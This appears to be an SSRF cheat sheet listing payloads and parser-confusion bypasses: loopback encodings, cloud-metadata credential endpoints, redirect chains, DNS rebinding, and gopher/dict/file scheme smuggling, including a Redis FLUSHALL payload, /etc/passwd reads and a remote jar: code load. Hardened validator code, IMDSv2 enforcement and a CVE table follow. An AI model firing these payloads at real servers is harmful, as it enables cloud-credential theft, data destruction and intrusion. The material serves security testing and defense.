Server-Side Request Forgery (SSRF) tricks a server into issuing HTTP, gopher, dict, file, or LDAP requests on the attacker's behalf to internal services. This cheat sheet collects the canonical payloads (loopback IP encodings, cloud-metadata endpoints, DNS rebinding hosts, exotic schemes), modern parser-confusion bypasses, and the deny-by-default defenses that actually hold up against IMDSv2-aware attackers in 2026.
SSRF most commonly leads to cloud-credential theft (AWS IMDS, GCP metadata, Azure managed identity) or pivoting into unauthenticated internal services such as Redis, Memcached, and admin panels. Effective defense combines an egress-deny network posture, a hardened URL validator, and IMDSv2 enforcement on every cloud workload that performs outbound fetches.
The server fetches an attacker-controlled URL and echoes the response body. Loopback, RFC1918, and IPv6 variants combined with alternate IP encodings defeat naive string-match blocklists.
?url=http://localhost/admin
Hits the server's own loopback interface, which often trusts requests from itself and bypasses network ACLs that gate external clients.
?url=http://127.0.0.1:8080/
Direct hit on a sidecar or admin port commonly bound to loopback (Spring Boot Actuator, Tomcat manager, debug consoles).
?url=http://[::1]/admin
Many IPv4-only blocklists miss the IPv6 loopback even when the underlying HTTP client happily dials it.
?url=http://[::ffff:127.0.0.1]/
Same loopback effect via a different parser path; validators that only canonicalize IPv4 strings let this through.
?url=http://2130706433/
Decimal representation of 127.0.0.1; defeats blocklists that only string-match dotted-quad IPs.
?url=http://017700000001/
Most C-derived inet_aton implementations parse the leading zero as octal and resolve to 127.0.0.1.
?url=http://0x7f.0x0.0x0.0x1/
Hex octets resolve to 127.0.0.1 on inet_aton-style resolvers, sliding past dotted-decimal regex blocks.
?url=http://127.1/
Single-dotted form expands to 127.0.0.1; many string-match filters insist on four octets.
?url=http://localtest.me/
localtest.me has a public A record for 127.0.0.1, so any IP-string blocklist passes while the resolver returns loopback.
?url=http://expected-host:fake@evil-host/
Classic Orange-Tsai parser confusion: the validator reads the host as expected-host while the HTTP client dials evil-host.
?url=http://evil-host#expected-host
Naive validators that look for expected-host anywhere in the URL accept it, but the real fetch goes to evil-host.
?url=http://expected-host.evil-host/
endsWith("expected-host") checks pass even though the authoritative host is evil-host because of subdomain layout.
No response is reflected. Confirm reachability via out-of-band DNS or HTTP callbacks, or by measuring response-time deltas between open and filtered internal ports.
?url=http://burpcollaborator.net/
Server-side fetch generates a DNS lookup plus HTTP hit on the Collaborator host, proving reachability without any in-band echo.
?url=http://<id>.oast.live/
Same out-of-band pattern using a self-hostable interactsh server; useful when Collaborator domains are blocklisted.
?url=http://<canary>.dnslog.cn/
Logs the DNS A-lookup even when egress HTTP is firewalled, confirming the server resolved an attacker-controlled host.
?url=http://127.0.0.1:22/
Open ports return a banner or RST quickly; closed ports hang until TCP timeout, producing a measurable response-time delta.
?url=http://127.0.0.1:81/
Pair with the previous payload to establish open-vs-closed timing baselines; deltas above ~200ms reliably indicate filtered ports.
?url=gopher://<canary>:9999/
Some HTTP clients still resolve DNS before realising they cannot speak gopher, providing a DNS-only signal channel.
Pivot the server-side fetcher to the link-local metadata service of the cloud provider to steal IAM credentials, instance identity documents, and managed-identity tokens.
http://169.254.169.254/latest/meta-data/
Lists the metadata tree on instances where IMDSv1 is still enabled — first stop for credential discovery.
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Returns the role name attached to the instance; the next hop yields temporary AccessKey / SecretKey / Token JSON.
PUT http://169.254.169.254/latest/api/token (header X-aws-ec2-metadata-token-ttl-seconds: 21600)
When the SSRF primitive lets the attacker control HTTP method and headers, the IMDSv2 PUT-token handshake works and the resulting token unlocks credential endpoints.
http://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)
GCP gates metadata reads on the Metadata-Flavor header; SSRF primitives that allow custom headers satisfy this check.
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
The deprecated v1beta1 path does not require the Metadata-Flavor header on instances where it has not been disabled — bypasses header-gated SSRF blocks.
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)
Azure IMDS requires the Metadata: true header; SSRF primitives with header control bypass the gate.
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Returns an OAuth2 access token for the workload's system-assigned managed identity, granting whatever Azure RBAC the identity holds.
http://100.100.100.200/latest/meta-data/
Alibaba uses a different link-local IP than AWS; cloud-agnostic SSRF tooling often misses it.
http://169.254.169.254/opc/v2/instance/ (header Authorization: Bearer Oracle)
OCI v2 requires the literal "Bearer Oracle" Authorization header; without it the request 401s, which makes it a useful header-gated SSRF probe.
http://169.254.169.254/metadata/v1/
Returns droplet identity, user-data, and SSH key metadata over plain HTTP without a header gate.
When the server allowlists the initial URL but follows redirects without re-validating, an allowed host that returns 30x to an internal target turns into SSRF.
?url=https://allowed.example.com/redirect?to=http://169.254.169.254/latest/meta-data/
The validator only sees allowed.example.com; the HTTP client follows the 302 to IMDS and returns the metadata body.
?url=https://allowed.example.com/redirect?to=http://127.0.0.1:6379/
Same chain pivoting to a loopback Redis. Disabling redirects on the HTTP client kills this entire class.
?url=https://allowed.example.com/oauth/callback?next=gopher://127.0.0.1:6379/_FLUSHALL
Open redirect smuggles a gopher:// target; clients that follow the 30x and honour gopher then issue a Redis RESP command.
?url=https://allowed.example.com/r?u=http://169.254.169.254/
Variant useful against allowlists that block dotted-quad strings on input but never re-check the resolved IP after a redirect.
When the URL handler honours non-HTTP schemes, the SSRF primitive smuggles raw protocol bytes against unauthenticated internal services or reads local files directly.
file:///etc/passwd
If the client honours file://, it bypasses the network entirely and returns the file contents to the attacker.
file:///c:/windows/win.ini
Windows variant; win.ini is a small predictable target ideal for confirming file-scheme support.
dict://127.0.0.1:11211/stats
dict:// sends a single text command per line; Memcached responds to "stats" pre-auth, leaking cluster metadata.
dict://127.0.0.1:6379/info
dict:// can issue Redis INFO directly because Redis speaks newline-terminated text in inline mode.
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A
gopher:// lets the attacker control raw bytes after the underscore, smuggling Redis RESP commands such as FLUSHALL or CONFIG SET.
gopher://127.0.0.1:25/_HELO%20a%0D%0AMAIL%20FROM:...
Drives an SMTP conversation against an unauthenticated localhost MTA, often enabling internal phishing or callback abuse.
ldap://127.0.0.1:389/%0astats%0aquit
Smuggles extra LDAP commands behind newline characters, which servers without strict request framing happily execute.
netdoc:///etc/passwd
Older JREs map netdoc:// to file:// internally, providing a parser-confusion bypass when file:// is explicitly blocklisted.
jar:http://attacker/evil.zip!/payload
Java jar:// fetches a remote ZIP and unzips it transparently; legacy parser quirks make it a reliable SSRF and code-load primitive.
Hostname resolves to a public IP at validation time and to an internal IP (loopback, RFC1918, link-local) at fetch time, defeating "resolve-then-validate" filters that re-resolve later.
http://make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms/
Public rbndr-style host that alternates between the two encoded IPs across queries; first lookup passes the validator, second lookup hits loopback.
http://7f000001.1.2.3.4.1u.ms/
Encodes the internal target as a hex label so any string-match check on the hostname has nothing to flag.
s-127.0.0.1-169.254.169.254-rr.<your-singularity>.com
Self-hosted NCC Group Singularity drives low-TTL records, payload delivery, and rebinding in one stack — best for repeatable testing.
http://<rebind-host>/latest/meta-data/iam/security-credentials/
After the validator allowlists the public IP, the second lookup returns 169.254.169.254 and the fetcher hits IMDS believing it is still on the allowed host.
http://<rebind-host>:6379/
Targets non-HTTP services on loopback once rebinding has occurred — works against any in-process HTTP client that re-resolves between validation and fetch.
When the SSRF primitive lets the attacker control HTTP method and request headers, the IMDSv2 PUT /latest/api/token handshake succeeds and the resulting token unlocks credential endpoints. Demonstrated in the Typebot.io webhook block (Nov 2025), which let attackers grab EKS node-role credentials despite IMDSv2 being enforced.
PUT http://169.254.169.254/latest/api/token with header X-aws-ec2-metadata-token-ttl-seconds: 21600, then GET with header X-aws-ec2-metadata-token: <token>.
Newer AWS services such as Bedrock AgentCore Runtime expose a microVM Metadata Service (MMDS) that did not enforce IMDSv2-style session tokens. Basic SSRF against the MMDS endpoint leaked credentials until Palo Alto Unit 42 disclosed the issue in 2025.
Block 169.254.169.254 at validation? An attacker registers a host that resolves to a public IP at validation time and then to 169.254.169.254 at fetch time. The resolved-IP allowlist is bypassed if validation and fetch use independent resolvers. Recurred in Craft CMS CVE-2026-27127.
Validator dials make-203.0.113.5-rebind-169.254.169.254-rr.1u.ms; fetcher re-resolves and hits IMDS.
The validation library and the HTTP client disagree on what host a URL points to. Recurring across Python urllib, Java URI vs HttpClient, Go net/url, and Ruby. Triggered with userinfo splitting (http://expected@evil/), fragment tricks, embedded CR/LF, percent-encoded delimiters, and triple-slash schemes.
http://expected-host:fake@evil-host/ — validator reads expected-host; HTTP client dials evil-host.
Smuggle \r\nHost: 169.254.169.254\r\n inside a URL component to coerce the underlying HTTP client into a different request. Still appears in Java HttpClient and older curl bindings where URL components are pasted into the wire format unchecked.
Next.js CVE-2024-34351 and CVE-2025-57822 demonstrated SSRF via Host-header and resolve-routes mismatches: the framework treated a forged Host as authoritative when proxying server-side fetches, reaching internal services without ever accepting a URL parameter from the user.
Reported on curl HackerOne #1049624: extremely long scheme names confuse some parsers into treating the URL as relative and resolving against the application's base URL — useful when prefix filters are naive.
CVE-2025-51591 — <iframe> rendering inside HTML-to-PDF converters issues server-side fetches under the host's identity. Mitigated when downstream targets enforce IMDSv2 (which invalidates stateless GETs from the converter).
Wherever possible, take a host or pre-registered ID and assemble the URL server-side from a fixed template. Eliminates the entire class of parser-confusion bypasses because the URL never travels through user input.
// Bad: take a full URL from the client.
const { url } = await request.json();
const body = await fetch(url).then((r) => r.text());
// Good: take a registered ID, look up an internal mapping.
const FEEDS: Record<string, string> = {
'press': 'https://press.example.com/rss.xml',
'support': 'https://support.example.com/feed.xml',
};
const { feed } = await request.json();
const target = FEEDS[feed];
if (!target) return new Response('unknown feed', { status: 400 });
const body = await fetch(target).then((r) => r.text());When a URL must be accepted, validate scheme (https only), host (allowlist), reject userinfo (@), fragments, and resolved IPs that fall in RFC1918, loopback, link-local (169.254.0.0/16), CGNAT (100.64.0.0/10), multicast, and IPv6 ULA / IPv4-mapped variants. Critically, validate after DNS resolution and re-validate after every redirect — or disable redirects entirely.
import { lookup } from 'node:dns/promises';
import ipaddr from 'ipaddr.js';
const ALLOWED_HOSTS = new Set(['press.example.com', 'support.example.com']);
export async function safeFetch(rawUrl: string): Promise<Response> {
const u = new URL(rawUrl);
if (u.protocol !== 'https:') throw new Error('scheme not allowed');
if (u.username || u.password) throw new Error('userinfo not allowed');
if (u.hash) throw new Error('fragment not allowed');
if (!ALLOWED_HOSTS.has(u.hostname)) throw new Error('host not allowed');
const { address } = await lookup(u.hostname);
const ip = ipaddr.process(address);
const range = ip.range();
if (['private', 'loopback', 'linkLocal', 'carrierGradeNat', 'uniqueLocal', 'multicast'].includes(range)) {
throw new Error('resolved IP in restricted range: ' + range);
}
return fetch('https://' + address + u.pathname + u.search, {
headers: { Host: u.hostname },
redirect: 'error', // never follow redirects implicitly
});
}Set HttpTokens=required and HttpPutResponseHopLimit=1 on every EC2 instance, ASG launch template, and EKS managed node group. AWS made this default for new instances in November 2023, but legacy fleets still allow IMDSv1. Audit every account and harden launch templates so future capacity inherits the setting.
# Find instances still allowing IMDSv1. aws ec2 describe-instances \ --filters Name=metadata-options.http-tokens,Values=optional \ --query 'Reservations[].Instances[].InstanceId' --output text # Enforce IMDSv2 on a single instance. aws ec2 modify-instance-metadata-options \ --instance-id i-0123456789abcdef0 \ --http-tokens required \ --http-put-response-hop-limit 1 \ --http-endpoint enabled
Resolve once, validate the IP, then dial that exact IP and set the Host header to the original hostname. The HTTP client never re-resolves between validation and connection, which removes the rebinding window entirely.
// Resolve once, dial that IP, set Host explicitly.
addrs, err := net.DefaultResolver.LookupIP(ctx, "ip4", host)
if err != nil || len(addrs) == 0 { return err }
ip := addrs[0]
if ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast() {
return fmt.Errorf("refusing to dial restricted IP %s", ip)
}
req, _ := http.NewRequest("GET", "https://"+ip.String()+path, nil)
req.Host = host // keep TLS SNI / vhost routing intact
req.Header.Set("Host", host)Block 169.254.169.254 and all RFC1918 ranges at the egress proxy or VPC routing table as defence in depth. Even if the URL validator is bypassed, the network refuses to deliver the request. Pair with workload-specific egress allowlists for known third-party hosts.
Disable the v0.1 and v1beta1 legacy metadata APIs that do not require Metadata-Flavor: Google. Without the disable, header-gated validation is meaningless because the legacy paths bypass the gate entirely.
The host that performs outbound fetches should run under an IAM role with minimum scope; ideally a dedicated proxy service account with no cloud privileges at all. Then a successful SSRF returns metadata for an identity that cannot do anything interesting.
Prefer maintained libraries that bake in IP-range and redirect checks (requests-hardened ≥ 1.2.1, safe-url, language-specific equivalents) over hand-rolled URL parsing. Hand-rolled validators consistently miss CGNAT, IPv4-mapped IPv6, and parser-confusion edge cases.
Alert on any worker process making requests to 169.254.169.254 or other metadata link-local addresses. Wiz, Datadog, and others publish detection rules; baseline the workloads that legitimately need IMDS access and treat everything else as anomalous.
| CVE | Year | Title | Description |
|---|---|---|---|
| GHSA-8gq9-rw7v-3jpr | 2025 | Typebot.io webhook SSRF — IMDSv2 token bypass | A webhook block let attackers inject custom headers into outbound requests. The primitive minted an IMDSv2 token and stole EKS node-role credentials despite IMDSv2 being enforced on the cluster. |
| CVE-2026-27127 | 2026 | Craft CMS metadata SSRF via DNS rebinding | Cloud-metadata blocklist bypassed using TTL-pinned DNS rebinding. Validator and fetcher used independent resolvers, so the second resolution returned 169.254.169.254 after the allowlist had already passed. |
| AgentCore MMDS issue | 2025 | AWS Bedrock AgentCore Runtime — MMDS lacks IMDSv2 enforcement | AgentCore exposed a microVM Metadata Service that did not enforce IMDSv2-style session tokens. Basic SSRF against the MMDS endpoint leaked credentials until Palo Alto Unit 42 disclosed the issue in 2025. |
| CVE-2024-27564 | 2024 | ChatGPT / OpenAI infrastructure SSRF | Server-side URL parameter could be coerced into fetching arbitrary internal endpoints from OpenAI infrastructure. Exploited in the wild per the Dataprise incident-response writeup. |
| CVE-2024-28224 | 2024 | Ollama DNS rebinding | Local Ollama API exposed on loopback; an attacker page using DNS rebinding could exfiltrate model files and prompt history without crossing same-origin protections. |
| CVE-2024-34351 | 2024 | Next.js Server Actions SSRF | Manipulating the Host header during a Server Action caused server-side fetches that appeared to originate from the Next.js process, allowing reach into internal services. Patched in 14.1.1. |
| CVE-2025-57822 | 2025 | Next.js resolve-routes SSRF | User-controlled headers in route resolution allowed access to internal resources via the framework's server-side fetch path. |
| CVE-2025-51591 | 2025 | Pandoc HTML rendering SSRF | <iframe> rendering in HTML-to-PDF conversion issued server-side fetches under the host identity. Mitigated when downstream targets enforce IMDSv2. |